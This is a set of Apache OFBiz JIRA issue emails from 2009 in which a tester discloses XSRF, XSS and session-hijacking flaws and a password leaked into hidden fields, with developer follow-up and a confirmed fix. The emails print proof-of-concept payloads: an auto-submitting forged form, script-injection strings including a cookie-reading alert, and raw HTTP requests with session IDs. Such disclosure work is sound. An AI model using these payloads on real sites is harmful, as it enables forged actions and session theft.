class=labelCatalog [ID]/td tdinput type=text name=prodCatalogId value=DemoCatalogquot;gt;lt;scriptgt;alert#40;6#41;lt;#47;scriptgt; size=20 maxlength=20 id=EditProdCatalog_prodCatalogId/span class=tooltipCould not Find Product Catalog with Id [DemoCatalogscriptalert(6)/script]/span /td /tr [...] Let me know Michele Orrù Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL:
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12675958#action_12675958 ] Michele Orru commented on OFBIZ-1959: - Anyway...The hackaton idea is not bad! I really would like to do something like Trying to subvert ofbiz for fun and profit (joke, just Aleph1 citation). I think that what we are missing here, when trying to improve the security of Ofbiz, is the fragmented nature of some parts of the project. Basically David didn't solve all the XSS issues only because there are too many control points in the application, so put a filter here and there, such as in Freemarker logic, Service Validation layer or XML Form widget layer is not so easy and error-free. I also think that the best thing to do (at least from a security point of view) is to write a Wiki article about this, explaining well: - how David did the changes in the code (that's what I'm looking for, and they're are well coded), - how and when wrap a parameter in FreeMarker during development of custom FTLs, - how to configure services to override some parameter checking filtering HTML in a safe way, and so on... I will write this guide, cause I'm spending a lot of time with Ofbiz security (and That's really enjoyable...), and because I believe in the power of Ofbiz as ERP and ecommerce application (and because I don't want to put ModSecurity in front of each of our Ofbiz installations :) ). Well... Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL: https://issues.apache.org/jira/browse/OFBIZ-1959 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: SVN trunk Reporter: Michele Orru Priority: Critical Fix For: SVN trunk +++|||Discovered security issues|||+ 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on 3.: Session Hijacking +++|||Exploitation|||+ 1.: As can be verified with your favorite proxy tool (we use Burp), POST request parameters are never fortified to prevent XSRF: no random token protection can be seen. For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim) to executes. - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is a potential victim account and 667 the attacker one. - In POST requests it will be an auto-submit form or a XMLHttpRequest (if we would like to be more sophisticated). I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE: malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on. The quick-and dirty code to make the XSRF attack looks as the following innocuous one: form method=POST id=xsrf name=xsrf action=https://127.0.0.1:8443/catalog/control/createProduct; input type=hidden name=isCreate value=true input type=hidden name=productId value=hack02 input type=hidden name=productTypeId value=DIGITAL_GOOD input type=hidden name=internalName value=hack02 /form scriptdocument.xsrf.submit(); /script Of course the product-creation mechanism is not finished (we need price, content and ProductName), but is just to let you understand. When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah), his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02 will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way that the global JSESSIONID cookie value will be the same in every tab of the browser. Clearly we can do more than this... 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored, exploit them is quite easy: we will exploited only stored ones. We can for instance replace the value of internalName (that even if it is a needed parameter is quite un-useful and so prone to store our malicious code) with something like: input type=hidden name=internalName value=scriptalert(document.cookie)/script The malicious code will display every cookie information in a
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12675037#action_12675037 ] Michele Orru commented on OFBIZ-1959: - Hi Jacques. The steps are easy: 1. log in to the same ofbiz istance with two different browsers, let say Opera and Firefox. 2. now if you put a proxy between the browser and the outgoing call, let say Burp or WebScarab, you can log, block, and modify requests/response pairs: then send a createPerson request in Firefox, log the POST raw request comprehensive of header and content. 3. now do the same in Opera, but blocks the outgoing request to createPerson and modify the HTTP entire packet (with your proxy tool of choice) with the previously copied data from Firefox. 4. Submit your data in Opera, and then you can see that the request is succesfull and the person has been added. Clearly the jsessionId has to be the same (you have to change it), and you have to imagine that a XSRF attack is more a social engineering attack that something else...you also have to imagine that the things we're doing here with our proxies, in fact in a real attack everything would be done with JS (grab the cookie, GET an external javascript that contain the payload, and so on). Anyway, if we don't add a random token to each POST/GET requests, XSRF is possible almost everywhere and everytime, it only depends to the knowledge of the attacker that creates a so called good-social-engineered-powered JS vector. Let me know if it is clear for you now Jacques. Anyway, I'm defintly happy that with my explanations, my pen tests and your (David and Andrew included) deep Ofbiz knowledge we're improving Ofbiz security...That is GREAT guys. All the best Michele Orrù Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation Key: OFBIZ-1959 URL: https://issues.apache.org/jira/browse/OFBIZ-1959 Project: OFBiz Issue Type: Bug Components: ALL COMPONENTS Affects Versions: SVN trunk Reporter: Michele Orru Priority: Critical Fix For: SVN trunk +++|||Discovered security issues|||+ 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on 3.: Session Hijacking +++|||Exploitation|||+ 1.: As can be verified with your favorite proxy tool (we use Burp), POST request parameters are never fortified to prevent XSRF: no random token protection can be seen. For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim) to executes. - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666to=667, where 666 is a potential victim account and 667 the attacker one. - In POST requests it will be an auto-submit form or a XMLHttpRequest (if we would like to be more sophisticated). I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE: malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on. The quick-and dirty code to make the XSRF attack looks as the following innocuous one: form method=POST id=xsrf name=xsrf action=https://127.0.0.1:8443/catalog/control/createProduct; input type=hidden name=isCreate value=true input type=hidden name=productId value=hack02 input type=hidden name=productTypeId value=DIGITAL_GOOD input type=hidden name=internalName value=hack02 /form scriptdocument.xsrf.submit(); /script Of course the product-creation mechanism is not finished (we need price, content and ProductName), but is just to let you understand. When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah), his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02 will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way that the global JSESSIONID cookie value will be the same in every tab of the browser. Clearly we can do more than this... 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored, exploit them is quite easy: we will exploited only stored ones. We can for instance replace the value of internalName (that even if it is a needed parameter is quite un-useful and so prone to store
[jira] Issue Comment Edited: (OFBIZ-2194) Password visible in URL query string hidden parameter (pre/post auth)
[ https://issues.apache.org/jira/browse/OFBIZ-2194?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674546#action_12674546 ] euronymous edited comment on OFBIZ-2194 at 2/18/09 1:29 AM: -- Hi David Yes you're right. I'm sorry but I was pen testing a not-so-updated trunk version, prior to your changes with ESAPI integration. The issue has been correctly fixed. Sorry to spam (anyway I did'n find anything relating in jira, so credits are mine ahahaha..joke) All The Best David Michele was (Author: euronymous): Hi David Yes you're right. I'm sorry but I was pen testing a not-so-updated trunk version, prior to your changes with ESAPOI integration. The issue has been correctly fixed. Sorry to spam (anyway I did'n find anything relating in jira, so credits are mine ahahaha..joke) All The Best David Michele Password visible in URL query string hidden parameter (pre/post auth) --- Key: OFBIZ-2194 URL: https://issues.apache.org/jira/browse/OFBIZ-2194 Project: OFBiz Issue Type: Bug Components: ecommerce Affects Versions: SVN trunk Reporter: Michele Orru Fix For: SVN trunk When logging-in to the ecommerce application, if we send a POST request to the login URI appositely wronging the user/passwd pair, the application responds embedding in the HTML the link to which we sent our request, plus USERNAME/PASSWORD parameters (with respective values): --- REQUEST --- POST /ecommerce/control/login?nodeTrailCsv=CNTGIZMOS%2CCNTGIZMOSSMLcontentId=CNTGIZMOS HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/checkLogin/showcontenttree?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLcontentId=CNTGIZMOS Cookie: JSESSIONID=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio Content-Type: application/x-www-form-urlencoded Content-Length: 44 USERNAME=DemoSalesManagerPASSWORD=ssfsfafaf --- RESPONSE --- [...] div id=ecom-header-bar ul id=left-links li id=header-bar-logina href=/ecommerce/control/checkLogin/login?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLUSERNAME=DemoSalesManagerPASSWORD=ssfsfafafcontentId=CNTGIZMOSLogin/a/li li id=header-bar-contactusa href=/ecommerce/control/contactusContact Us/a/li li id=header-bar-maina href=http://localhost:8080/ecommerce/control/main;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Main/a/li /ul ul id=right-links !-- NOTE: these are in reverse order because they are stacked right to left instead of left to right -- li id=header-bar-viewprofilea href=/ecommerce/control/viewprofileProfile/a/li li id=header-bar-ListQuotesa href=/ecommerce/control/ListQuotesQuotes/a/li li id=header-bar-ListRequestsa href=/ecommerce/control/ListRequestsRequests/a/li li id=header-bar-editShoppingLista href=http://localhost:8080/ecommerce/control/editShoppingList;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Shoppingnbsp;Lists/a/li li id=header-bar-orderhistorya href=/ecommerce/control/orderhistoryOrdernbsp;History/a/li /ul /div [...] Now, that's not son bad: basically is not an exploitable issue. The serious point is that if we Log-in with valid credentials, the HTML page that will be rendered after the successful login will containt an hidden parameter with our password, that can be easily grabbed thanks to XSS that are still present almost everywhere in the ecommerce application. --- REQUEST --- POST /ecommerce/control/login HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/login Cookie: JSESSIONID=9C59446F41F85A7A86A5DFC6BC75ABC2.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous Content-Type:
[jira] Commented: (OFBIZ-2194) Password visible in URL query string hidden parameter (pre/post auth)
[ https://issues.apache.org/jira/browse/OFBIZ-2194?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674546#action_12674546 ] Michele Orru commented on OFBIZ-2194: - Hi David Yes you're right. I'm sorry but I was pen testing a not-so-updated trunk version, prior to your changes with ESAPOI integration. The issue has been correctly fixed. Sorry to spam (anyway I did'n find anything relating in jira, so credits are mine ahahaha..joke) All The Best David Michele Password visible in URL query string hidden parameter (pre/post auth) --- Key: OFBIZ-2194 URL: https://issues.apache.org/jira/browse/OFBIZ-2194 Project: OFBiz Issue Type: Bug Components: ecommerce Affects Versions: SVN trunk Reporter: Michele Orru Fix For: SVN trunk When logging-in to the ecommerce application, if we send a POST request to the login URI appositely wronging the user/passwd pair, the application responds embedding in the HTML the link to which we sent our request, plus USERNAME/PASSWORD parameters (with respective values): --- REQUEST --- POST /ecommerce/control/login?nodeTrailCsv=CNTGIZMOS%2CCNTGIZMOSSMLcontentId=CNTGIZMOS HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/checkLogin/showcontenttree?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLcontentId=CNTGIZMOS Cookie: JSESSIONID=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio Content-Type: application/x-www-form-urlencoded Content-Length: 44 USERNAME=DemoSalesManagerPASSWORD=ssfsfafaf --- RESPONSE --- [...] div id=ecom-header-bar ul id=left-links li id=header-bar-logina href=/ecommerce/control/checkLogin/login?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLUSERNAME=DemoSalesManagerPASSWORD=ssfsfafafcontentId=CNTGIZMOSLogin/a/li li id=header-bar-contactusa href=/ecommerce/control/contactusContact Us/a/li li id=header-bar-maina href=http://localhost:8080/ecommerce/control/main;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Main/a/li /ul ul id=right-links !-- NOTE: these are in reverse order because they are stacked right to left instead of left to right -- li id=header-bar-viewprofilea href=/ecommerce/control/viewprofileProfile/a/li li id=header-bar-ListQuotesa href=/ecommerce/control/ListQuotesQuotes/a/li li id=header-bar-ListRequestsa href=/ecommerce/control/ListRequestsRequests/a/li li id=header-bar-editShoppingLista href=http://localhost:8080/ecommerce/control/editShoppingList;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Shoppingnbsp;Lists/a/li li id=header-bar-orderhistorya href=/ecommerce/control/orderhistoryOrdernbsp;History/a/li /ul /div [...] Now, that's not son bad: basically is not an exploitable issue. The serious point is that if we Log-in with valid credentials, the HTML page that will be rendered after the successful login will containt an hidden parameter with our password, that can be easily grabbed thanks to XSS that are still present almost everywhere in the ecommerce application. --- REQUEST --- POST /ecommerce/control/login HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/login Cookie: JSESSIONID=9C59446F41F85A7A86A5DFC6BC75ABC2.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous Content-Type: application/x-www-form-urlencoded Content-Length: 41 USERNAME=euronymousPASSWORD=euronymous666 --- RESPONSE --- [...] div class=screenlet div class=screenlet-header div class=boxheadMini-Poll Poll/div /div div class=screenlet-body form method=post
[jira] Resolved: (OFBIZ-2194) Password visible in URL query string hidden parameter (pre/post auth)
[ https://issues.apache.org/jira/browse/OFBIZ-2194?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Michele Orru resolved OFBIZ-2194. - Resolution: Fixed Confirmed fixed in rev. 742352 Password visible in URL query string hidden parameter (pre/post auth) --- Key: OFBIZ-2194 URL: https://issues.apache.org/jira/browse/OFBIZ-2194 Project: OFBiz Issue Type: Bug Components: ecommerce Affects Versions: SVN trunk Reporter: Michele Orru Fix For: SVN trunk When logging-in to the ecommerce application, if we send a POST request to the login URI appositely wronging the user/passwd pair, the application responds embedding in the HTML the link to which we sent our request, plus USERNAME/PASSWORD parameters (with respective values): --- REQUEST --- POST /ecommerce/control/login?nodeTrailCsv=CNTGIZMOS%2CCNTGIZMOSSMLcontentId=CNTGIZMOS HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/checkLogin/showcontenttree?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLcontentId=CNTGIZMOS Cookie: JSESSIONID=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio Content-Type: application/x-www-form-urlencoded Content-Length: 44 USERNAME=DemoSalesManagerPASSWORD=ssfsfafaf --- RESPONSE --- [...] div id=ecom-header-bar ul id=left-links li id=header-bar-logina href=/ecommerce/control/checkLogin/login?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLUSERNAME=DemoSalesManagerPASSWORD=ssfsfafafcontentId=CNTGIZMOSLogin/a/li li id=header-bar-contactusa href=/ecommerce/control/contactusContact Us/a/li li id=header-bar-maina href=http://localhost:8080/ecommerce/control/main;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Main/a/li /ul ul id=right-links !-- NOTE: these are in reverse order because they are stacked right to left instead of left to right -- li id=header-bar-viewprofilea href=/ecommerce/control/viewprofileProfile/a/li li id=header-bar-ListQuotesa href=/ecommerce/control/ListQuotesQuotes/a/li li id=header-bar-ListRequestsa href=/ecommerce/control/ListRequestsRequests/a/li li id=header-bar-editShoppingLista href=http://localhost:8080/ecommerce/control/editShoppingList;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Shoppingnbsp;Lists/a/li li id=header-bar-orderhistorya href=/ecommerce/control/orderhistoryOrdernbsp;History/a/li /ul /div [...] Now, that's not son bad: basically is not an exploitable issue. The serious point is that if we Log-in with valid credentials, the HTML page that will be rendered after the successful login will containt an hidden parameter with our password, that can be easily grabbed thanks to XSS that are still present almost everywhere in the ecommerce application. --- REQUEST --- POST /ecommerce/control/login HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/login Cookie: JSESSIONID=9C59446F41F85A7A86A5DFC6BC75ABC2.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous Content-Type: application/x-www-form-urlencoded Content-Length: 41 USERNAME=euronymousPASSWORD=euronymous666 --- RESPONSE --- [...] div class=screenlet div class=screenlet-header div class=boxheadMini-Poll Poll/div /div div class=screenlet-body form method=post action=http://localhost:8080/ecommerce/control/minipoll/main;jsessionid=72CA238BC8183F96FB25B6405E66500F.jvm1; style=margin: 0; input type=hidden name=PASSWORD value=euronymous666/ input type=hidden name=USERNAME value=euronymous/ input type=hidden name=partyId value=10010/ input type=hidden name=surveyId value=1003/ [...] Have fun Michele Orrù -- This message is automatically
[jira] Issue Comment Edited: (OFBIZ-2194) Password visible in URL query string hidden parameter (pre/post auth)
[ https://issues.apache.org/jira/browse/OFBIZ-2194?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674547#action_12674547 ] euronymous edited comment on OFBIZ-2194 at 2/18/09 1:35 AM: -- Confirmed fixed in rev. 742352 Credits to David E. Jones (not to me :) ) was (Author: euronymous): Confirmed fixed in rev. 742352 Password visible in URL query string hidden parameter (pre/post auth) --- Key: OFBIZ-2194 URL: https://issues.apache.org/jira/browse/OFBIZ-2194 Project: OFBiz Issue Type: Bug Components: ecommerce Affects Versions: SVN trunk Reporter: Michele Orru Fix For: SVN trunk When logging-in to the ecommerce application, if we send a POST request to the login URI appositely wronging the user/passwd pair, the application responds embedding in the HTML the link to which we sent our request, plus USERNAME/PASSWORD parameters (with respective values): --- REQUEST --- POST /ecommerce/control/login?nodeTrailCsv=CNTGIZMOS%2CCNTGIZMOSSMLcontentId=CNTGIZMOS HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/checkLogin/showcontenttree?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLcontentId=CNTGIZMOS Cookie: JSESSIONID=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio Content-Type: application/x-www-form-urlencoded Content-Length: 44 USERNAME=DemoSalesManagerPASSWORD=ssfsfafaf --- RESPONSE --- [...] div id=ecom-header-bar ul id=left-links li id=header-bar-logina href=/ecommerce/control/checkLogin/login?nodeTrailCsv=CNTGIZMOS,CNTGIZMOSSMLUSERNAME=DemoSalesManagerPASSWORD=ssfsfafafcontentId=CNTGIZMOSLogin/a/li li id=header-bar-contactusa href=/ecommerce/control/contactusContact Us/a/li li id=header-bar-maina href=http://localhost:8080/ecommerce/control/main;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Main/a/li /ul ul id=right-links !-- NOTE: these are in reverse order because they are stacked right to left instead of left to right -- li id=header-bar-viewprofilea href=/ecommerce/control/viewprofileProfile/a/li li id=header-bar-ListQuotesa href=/ecommerce/control/ListQuotesQuotes/a/li li id=header-bar-ListRequestsa href=/ecommerce/control/ListRequestsRequests/a/li li id=header-bar-editShoppingLista href=http://localhost:8080/ecommerce/control/editShoppingList;jsessionid=80B8CE9A5E8646598E5D3C5282E7ECE4.jvm1;Shoppingnbsp;Lists/a/li li id=header-bar-orderhistorya href=/ecommerce/control/orderhistoryOrdernbsp;History/a/li /ul /div [...] Now, that's not son bad: basically is not an exploitable issue. The serious point is that if we Log-in with valid credentials, the HTML page that will be rendered after the successful login will containt an hidden parameter with our password, that can be easily grabbed thanks to XSS that are still present almost everywhere in the ecommerce application. --- REQUEST --- POST /ecommerce/control/login HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/ecommerce/control/login Cookie: JSESSIONID=9C59446F41F85A7A86A5DFC6BC75ABC2.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous Content-Type: application/x-www-form-urlencoded Content-Length: 41 USERNAME=euronymousPASSWORD=euronymous666 --- RESPONSE --- [...] div class=screenlet div class=screenlet-header div class=boxheadMini-Poll Poll/div /div div class=screenlet-body form method=post action=http://localhost:8080/ecommerce/control/minipoll/main;jsessionid=72CA238BC8183F96FB25B6405E66500F.jvm1; style=margin: 0; input type=hidden name=PASSWORD value=euronymous666/ input type=hidden
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12674572#action_12674572 ] Michele Orru commented on OFBIZ-1959: - Hi David, Hi Jaques. I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz. I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find. Ecommerce seemd virtually invuylnerable to XSS now. The problem I mentioned is relative to partymgr. If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to reflected XSS: basiacally it is escaping HTML but not in the good way. --- REQUEST --- GET /partymgr/control/viewprofile?partyId=adminscriptalert(6)/script HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/findparty Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin --- RESPONSE --- (truncated where unnecessary to explanation) the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with script../script causes this, as you can see from the following excerpt. [...] !-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -- div class=button-bar tab-bar no-clear ul li ul li class=selected a href=/partymgr/control/viewprofile?partyId=adminSCRiptalert(6)/scripTProfile/a/li lia href=/partymgr/control/Preferences?partyId=adminSCRiptalert(6)/scripTPreferences/a/li lia href=/partymgr/control/viewroles?partyId=adminSCRiptalert(6)/scripTRole(s)/a/li lia href=/partymgr/control/linkparty?partyId=adminSCRiptalert(6)/scripTLink Party/a/li lia href=/partymgr/control/EditPartyRelationships?partyId=adminSCRiptalert(6)/scripTRelationships/a/li lia href=/partymgr/control/viewvendor?partyId=adminSCRiptalert(6)/scripTVendor/a/li lia href=/partymgr/control/EditPartyTaxAuthInfos?partyId=adminSCRiptalert(6)/scripTTax Infos/a/li lia href=/partymgr/control/EditPartyRates?partyId=adminSCRiptalert(6)/scripTRates/a/li lia href=/partymgr/control/editShoppingList?partyId=adminSCRiptalert(6)/scripTShopping Lists/a/li lia href=/partymgr/control/ViewSegmentRoles?partyId=adminSCRiptalert(6)/scripTSegments/a/li lia href=/partymgr/control/EditPartyClassifications?partyId=adminSCRiptalert(6)/scripTClassifications/a/li lia href=/partymgr/control/ListPartyContactLists?partyId=adminSCRiptalert(6)/scripTContact Lists/a/li lia href=/partymgr/control/EditPartyContents?partyId=adminSCRiptalert(6)/scripTParty Content/a/li lia href=/partymgr/control/EditPartySkills?partyId=adminSCRiptalert(6)/scripTParty Skills/a/li lia href=/partymgr/control/EditPersonTrainings?partyId=adminSCRiptalert(6)/scripTTrainings/a/li lia href=/partymgr/control/EditPartyResumes?partyId=adminSCRiptalert(6)/scripTResumes/a/li lia href=/partymgr/control/EditEmploymentApps?partyId=adminSCRiptalert(6)/scripTreferredByPartyId=adminSCRiptalert(6)/scripTEmployment Applications/a/li lia href=/partymgr/control/PartyFinancialHistory?partyId=adminSCRiptalert(6)/scripTFin. History/a/li lia href=/partymgr/control/PartyGeoLocation?partyId=adminSCRiptalert(6)/scripTGeolocation/a/li /ul br class=clear/ /li /ul /div !-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -- [...] I'm gonna debug a little bit to understand why... (anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ) Have a good developing time guys P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course. just try to swend the following request, after authentication, changing the UserAgent (so your browser): try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1 POST /partymgr/control/createPerson HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: 